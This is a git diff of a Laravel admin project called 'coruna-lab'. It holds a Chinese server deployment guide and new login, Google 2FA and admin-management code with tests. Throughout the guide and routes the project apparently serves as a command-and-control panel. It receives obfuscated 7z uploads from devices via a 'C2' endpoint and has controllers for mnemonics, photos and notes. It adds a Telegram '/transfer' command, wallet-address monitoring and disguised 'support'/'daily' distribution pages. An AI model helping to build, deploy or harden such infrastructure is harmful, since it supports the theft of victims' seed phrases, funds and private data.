+``` + +改完: + +```bash +nginx -t && nginx -s reload +``` + +公开 URL: + +```text +https://static.example.com/channel//web/support.html +https://static.example.com/channel//sync/daily.html +``` + +`staging/`、`locks/`、`manifest.json`、`out/` 等不得对外。 + +--- + + + +## 2. 部署 coruna-lab + + + +### 2.1 站点 + +新建站点(如 `admin.example.com`): + +- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`) +- PHP:8.2+ +- 伪静态:Laravel + +```nginx +location / { + try_files $uri $uri/ /index.php?$query_string; +} +``` + + + +### 2.2 Composer + +需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。 + +```bash +# 若 /usr/bin/composer 过旧,安装新版本: +curl -sS https://getcomposer.org/installer \ + | /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer + +/www/server/php/82/bin/php /usr/local/bin/composer -V + +cd /www/wwwroot/coruna-lab +/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader +``` + +常见错误见文末「排错」。 + +### 2.3 环境与数据库 + +```bash +cp .env.example .env +# 编辑 .env(见下节) + +/www/server/php/82/bin/php artisan key:generate +chown -R www:www storage bootstrap/cache +chmod -R ug+rwx storage bootstrap/cache + +# 宝塔创建 MySQL 库/用户后: +/www/server/php/82/bin/php artisan migrate --seed +``` + +默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。 + +### 2.4 `.env` 要点 + +```dotenv +APP_ENV=production +APP_DEBUG=false +APP_URL=https://admin.example.com + +DB_CONNECTION=mysql +DB_HOST=127.0.0.1 +DB_PORT=3306 +DB_DATABASE=coruna +DB_USERNAME=... +DB_PASSWORD=... + +ADMIN_USERNAME=admin +ADMIN_PASSWORD=改成强密码 + +# Session(HTTPS 单域名后台;DOMAIN 保持 null) +SESSION_DRIVER=file +SESSION_LIFETIME=120 +SESSION_ENCRYPT=false +SESSION_PATH=/ +SESSION_DOMAIN=null +SESSION_SECURE_COOKIE=true +SESSION_SAME_SITE=lax + +# 同机 Build API(token 与 lab-web BUILD_API_TOKEN 一致) +CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081 +CORUNA_BUILD_SERVICE_TOKEN=与 BUILD_API_TOKEN 相同 +CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5 +CORUNA_BUILD_SERVICE_TIMEOUT=600 + +CORUNA_STATIC_SITE_BASE_URL=https://static.example.com +CORUNA_STATIC_SITE_SCHEME=https + +CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example +CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example + +# C2 上报 7z 解包(与 build_api 无关,仍需配置) +CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z + +TELEGRAM_BOT_TOKEN= +TELEGRAM_OWNER_CHAT_ID= +# 可选;设置后注册 webhook 时会带 secret_token +TELEGRAM_WEBHOOK_SECRET= +# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example) +``` + +改 `.env` 后(**登录 / Session 依赖这一步**): + +```bash +cd /www/wwwroot/coruna-lab +/www/server/php/82/bin/php artisan config:clear +chown -R www:www storage/framework/sessions +chmod -R ug+rwx storage/framework/sessions + +# 生产可再: +# /www/server/php/82/bin/php artisan config:cache +# /www/server/php/82/bin/php artisan route:cache +# /www/server/php/82/bin/php artisan view:cache +``` + +浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。 + +### 2.5 p7zip(C2 入库) + +`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与渠道构建拆到 lab-web 无关。 + +Debian / Ubuntu(宝塔常见): + +若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用: + +```bash +mv /etc/apt/sources.list.d/gitlab-ce.list \ + /etc/apt/sources.list.d/gitlab-ce.list.disabled + +apt update +apt install -y p7zip-full +command -v 7z +``` + +拷到项目(规避 `open_basedir`): + +```bash +cd /www/wwwroot/coruna-lab +mkdir -p bin +cp "$(command -v 7z)" bin/7z +chmod +x bin/7z +``` + +`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。 + +### 2.6 Telegram Webhook(上线必做) + +Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径: + +```text +https:///hooks/telegram +``` + +1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串) +2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径) +3. 确保站点已上 SSL,Telegram 能访问该 URL +4. 注册 webhook: + +```bash +cd /www/wwwroot/coruna-lab + +# 使用 APP_URL + /hooks/telegram +/www/server/php/82/bin/php artisan telegram:set-webhook + +# 或显式指定: +/www/server/php/82/bin/php artisan telegram:set-webhook \ + 'https://admin.example.com/hooks/telegram' +``` + +成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。 + +更换域名或 token 后需重新执行本命令。 + +可选(地址监控):若启用 Tokenview,可另执行: + +```bash +/www/server/php/82/bin/php artisan tokenview:set-webhook +# 默认 → https:///hooks/tokenview +``` + +--- + + + +## 3. 联调检查清单 + +1. `curl -s http://127.0.0.1:8081/health` 正常 +2. Admin 登录 `https://admin.example.com/admin/login` +3. 后台新建渠道 → 构建成功(lab-web 进程日志无报错) +4. 打开静态站 support / daily 页 +5. `manifest.json`、`/staging/` 等返回 404 +6. C2 上报与 7z 入库正常 +7. `telegram:set-webhook` 成功;Bot 能收到指令 + +--- + + + +## 4. 日常运维 + + +| 动作 | 命令 / 操作 | +| ---------- | --------------------------------------------------------------- | +| 更新 lab-web | 拉代码 → `pip install -r ...` → 重启 Supervisor 进程 | +| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | +| 备份 | MySQL + `artifacts/` | +| 构建超时 | 同时加大 `BUILD_API_TIMEOUT` 与 `CORUNA_BUILD_SERVICE_TIMEOUT` | + + +当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。 + +--- + + + +## 5. 排错摘要 + + + +### Composer:`putenv()` undefined + +PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 + +### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2` + +`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。 +**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。 + +### Composer:缺少 `ext-gmp` + +软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认: + +```bash +/www/server/php/82/bin/php -m | grep -i gmp +``` + + + +### Nginx:`unknown directive "32}/(web|sync)/"` + +location 正则未加引号,`{32}` 被当成配置块。改为: + +```nginx +location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" { +``` + + + +### `apt` 因 gitlab-ce 源 404 失败 + +```bash +mv /etc/apt/sources.list.d/gitlab-ce.list \ + /etc/apt/sources.list.d/gitlab-ce.list.disabled +apt update +``` + + + +### `cp "$(command -v 7z)"` 报 `cannot stat ''` + +未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。 + +### CLI `max_execution_time => 0` + +CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 + +### 后台登录 HTTP 444 + +**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。 + +### 后台登录方式(改造后) + +- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect +- 失败限流:同一账号+IP 约 5 次 / 60 秒 +- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定 +- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip) + +### 后台登录 HTTP 419(Page Expired) + +请求已进 Laravel,多为 CSRF / Session。确认: + +1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null` +2. 执行: + +```bash +cd /www/wwwroot/coruna-lab +/www/server/php/82/bin/php artisan config:clear +chown -R www:www storage/framework/sessions +chmod -R ug+rwx storage/framework/sessions +``` + +1. 浏览器清除该站 cookie 后重试 + +裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。 + +--- + + + +## 6. 分机部署(可选) + +lab 与 lab-web 不同机时: + +- lab-web 内网 Nginx 反代 `127.0.0.1:8081`,仅放行 lab 机器 IP +- Laravel:`CORUNA_BUILD_SERVICE_URL=https://builds.internal.example` +- 静态站仍指向 lab-web 的 `artifacts` + +同机部署时不必单独建公网 builds 站点。 \ No newline at end of file diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index 06cd1cd..2e242a1 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -169,7 +169,7 @@ layui.use(['table', 'form', 'layer'], function () { ? '
' + '' + - '
构建时作为 deployment_domains;上报域名始终用 CORUNA_LAB_AMIDN_DOMAINS
' + '
构建时作为 deployment_domains;API/上报域名始终用 CORUNA_REPORTING_DOMAINS
' : ''; layer.open({ diff --git a/resources/views/admin/login.blade.php b/resources/views/admin/login.blade.php index f4cb9e0..2ebbd6d 100644 --- a/resources/views/admin/login.blade.php +++ b/resources/views/admin/login.blade.php @@ -2,10 +2,11 @@ - 登入 - Coruna Lab + 登入 - {{ config('app.name', 'Coruna Lab') }} + @@ -14,44 +15,81 @@ diff --git a/resources/views/admin/security/google2fa.blade.php b/resources/views/admin/security/google2fa.blade.php new file mode 100644 index 0000000..4b3b897 --- /dev/null +++ b/resources/views/admin/security/google2fa.blade.php @@ -0,0 +1,177 @@ +@extends('admin.content') + +@section('title', '谷歌验证') + +@section('content') +
+
谷歌验证(Google Authenticator)
+
+

+ 当前状态: + @if($enabled) + 已开启 + @elseif($bound) + 已绑定未开启 + @else + 未绑定 + @endif +

+ + @if(!$bound) +
+
+ +
+ +
+
+
+
+ +
+
+
+ + + @else +
+
+ +
+ +
+
+
+ +
+ +
+
+
+
+ @if($enabled) + + @else + + @endif + +
+
+
+ @endif +
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index 07979fe..d045a39 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -111,6 +111,17 @@ +
  • + + + 安全 + +
    +
    + 谷歌验证 +
    +
    +
  • @if(auth('admin')->user()?->isSuper())
  • diff --git a/resources/views/admin/system/admins.blade.php b/resources/views/admin/system/admins.blade.php index 58c0357..63d03ce 100644 --- a/resources/views/admin/system/admins.blade.php +++ b/resources/views/admin/system/admins.blade.php @@ -42,12 +42,18 @@ layui.use(['table', 'form', 'layer'], function () { url: @json(route('admin.system.admins.data')), cols: [[ { field: 'id', title: 'ID', width: 70, sort: true }, - { field: 'username', title: '账号', width: 160, sort: true }, - { field: 'is_super', title: '超级管理员', width: 120, templet: function (d) { + { field: 'username', title: '账号', width: 140, sort: true }, + { field: 'is_super', title: '超管', width: 80, templet: function (d) { return Number(d.is_super) === 1 ? '是' : '否'; }}, + { field: 'status', title: '状态', width: 80, templet: function (d) { + return Number(d.status) === 1 ? '启用' : '禁用'; + }}, + { field: 'google_auth_open', title: '谷歌验证', width: 100, templet: function (d) { + return Number(d.google_auth_open) === 1 ? '开' : '关'; + }}, + { field: 'last_ip', title: '最近登录IP', width: 140 }, { field: 'created_at', title: '创建时间', width: 170, sort: true }, - { field: 'updated_at', title: '更新时间', width: 170, sort: true }, { title: '操作', width: 160, toolbar: '#LAY-admin-ops' } ]], page: true, limit: 15, height: 'full-220', @@ -65,7 +71,7 @@ layui.use(['table', 'form', 'layer'], function () { layer.open({ type: 1, title: title, - area: ['420px', '320px'], + area: ['420px', '380px'], content: '
    ' + '
    ' + '
    ' + @@ -74,6 +80,9 @@ layui.use(['table', 'form', 'layer'], function () { '
    ' + '
    ' + + '
    ' + + '
    ' + '
    ', success: function () { form.render(); }, btn: ['保存', '取消'], @@ -81,6 +90,7 @@ layui.use(['table', 'form', 'layer'], function () { var data = {}; $('#LAY-admin-form').serializeArray().forEach(function (x) { data[x.name] = x.value; }); data.is_super = $('#LAY-admin-form input[name=is_super]').prop('checked') ? 1 : 0; + data.status = $('#LAY-admin-form input[name=status]').prop('checked') ? 1 : 0; if (creating) { $.ajax({ url: @json(route('admin.system.admins.store')), diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index 655271e..82cf6af 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -33,7 +33,7 @@
    -
    渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。上报域名请用 CORUNA_LAB_AMIDN_DOMAINS
    +
    渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。API/上报域名请用 CORUNA_REPORTING_DOMAINS
    diff --git a/routes/admin.php b/routes/admin.php index 1102269..342d5ac 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -6,6 +6,7 @@ use App\Http\Controllers\Admin\AuthController; use App\Http\Controllers\Admin\ChannelController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; +use App\Http\Controllers\Admin\Google2faController; use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PhotoController; @@ -22,6 +23,12 @@ Route::prefix('admin')->name('admin.')->group(function () { Route::post('logout', [AuthController::class, 'logout'])->name('logout'); Route::get('/', [AuthController::class, 'home'])->name('home'); + Route::get('security/google2fa', [Google2faController::class, 'index'])->name('security.google2fa'); + Route::post('security/google2fa/prepare', [Google2faController::class, 'prepare'])->name('security.google2fa.prepare'); + Route::post('security/google2fa/bind', [Google2faController::class, 'bind'])->name('security.google2fa.bind'); + Route::post('security/google2fa/toggle', [Google2faController::class, 'toggle'])->name('security.google2fa.toggle'); + Route::post('security/google2fa/unbind', [Google2faController::class, 'unbind'])->name('security.google2fa.unbind'); + Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); diff --git a/tests/Feature/AdminLoginTest.php b/tests/Feature/AdminLoginTest.php new file mode 100644 index 0000000..f82037d --- /dev/null +++ b/tests/Feature/AdminLoginTest.php @@ -0,0 +1,132 @@ +create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 1, + ]); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + ])->assertOk() + ->assertJson([ + 'code' => 0, + 'msg' => '登录成功', + 'data' => route('admin.home'), + ]); + + $this->assertAuthenticatedAs($admin, 'admin'); + $this->assertNotNull($admin->fresh()->last_ip); + } + + #[Test] + public function ajax_login_rejects_bad_password(): void + { + Admin::query()->create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 1, + ]); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'wrongpass', + ])->assertOk() + ->assertJson(['code' => 1, 'msg' => '用户名或密码错误']); + + $this->assertGuest('admin'); + } + + #[Test] + public function disabled_admin_cannot_login(): void + { + Admin::query()->create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 0, + ]); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + ])->assertOk() + ->assertJson(['code' => 1, 'msg' => '用户已被禁用']); + + $this->assertGuest('admin'); + } + + #[Test] + public function google2fa_required_when_enabled(): void + { + $google2fa = app(AdminGoogle2fa::class); + $secret = $google2fa->generateSecret(); + + Admin::query()->create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 1, + 'google_auth_open' => 1, + 'google_secret' => $secret, + ]); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + ])->assertOk() + ->assertJson(['code' => 1, 'msg' => '请输入谷歌验证码!']); + + $this->assertGuest('admin'); + + $code = (new \PragmaRX\Google2FA\Google2FA)->getCurrentOtp($secret); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + 'GACode' => $code, + ])->assertOk() + ->assertJson(['code' => 0]); + + $this->assertAuthenticated('admin'); + } + + #[Test] + public function login_is_rate_limited_after_failures(): void + { + Admin::query()->create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 1, + ]); + + for ($i = 0; $i < 5; $i++) { + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'bad-password', + ])->assertOk()->assertJsonPath('code', 1); + } + + $response = $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + ])->assertOk() + ->assertJsonPath('code', 1); + + $this->assertStringContainsString('登陆失败次数过多', (string) $response->json('msg')); + } +} diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index 3e0fefe..c86114b 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -566,7 +566,8 @@ class C2ApiTest extends TestCase ]); $this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123']) - ->assertRedirect(route('admin.home')); + ->assertOk() + ->assertJson(['code' => 0, 'data' => route('admin.home')]); $this->get('/admin') ->assertOk()